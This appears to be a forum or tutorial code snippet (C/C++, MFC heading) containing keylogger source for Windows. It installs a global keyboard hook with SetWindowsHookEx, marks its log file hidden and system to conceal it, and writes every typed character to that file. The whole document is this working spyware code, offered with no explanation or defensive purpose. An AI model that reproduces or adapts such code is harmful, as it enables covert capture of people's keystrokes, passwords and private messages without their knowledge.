C / C++ / MFC

<br />
BOOL WINAPI InstallHook(BOOL overwrite)<br />
{<br />
if(overwrite) // overwrites the log<br />
// file?<br />
{<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_ARCHIVE);<br />
f1 = fopen(filename, "w");<br />
fclose(f1);<br />
}<br />
// set the hidden property for the<br />
// log file<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_HIDDEN|<br />
FILE_ATTRIBUTE_SYSTEM);<br />
// call win API to install hook<br />
hkb = SetWindowsHookEx(WH_KEYBOARD,<br />
(HOOKPROC)KeyboardProc,hInstance,0);<br />
return TRUE;<br />
}<br />
<br />
//this is the procedure which is called.. it opens a file and logs all characters to that file..<br />
<br />
LRESULT WINAPI CALLBACK KeyboardProc(<br />
int nCode, WPARAM wParam,<br />
LPARAM lParam)<br />
{<br />
char ch;<br />
char locname[80];<br />
strcpy(locname,filename);<br />
if (((DWORD)lParam & 0x40000000<br />
&&(HC_ACTION==nCode))<br />
{<br />
if((wParam==VK_SPACE)||<br />
(wParam==VK_RETURN)||<br />
(wParam>=0x2f ) &&<br />
(wParam<=0x100))<br />
{<br />
f1=fopen(locname,"a+");<br />
if (wParam==VK_RETURN)<br />
{<br />
ch='\n';<br />
// copy character to<br />
// log file<br />
fwrite(&ch,1,1,f1);<br />
}<br />
else<br />
{<br />
// array receives the<br />
// status data for each<br />
// virtual key<br />
BYTE ks[256];<br />
GetKeyboardState(ks);<br />
WORD w;<br />
UINT scan;<br />
scan=0;<br />
ToAscii(wParam,scan,<br />
ks,&w,0);<br />
ch =char(w);<br />
// copy character to log<br />
// file<br />
fwrite(&ch,1,1,f1);<br />
}<br />
fclose(f1);<br />
}<br />
}<br />
LRESULT RetVal = CallNextHookEx(<br />
hkb, nCode, wParam, lParam );<br />
return RetVal;<br />
}<br />
<br />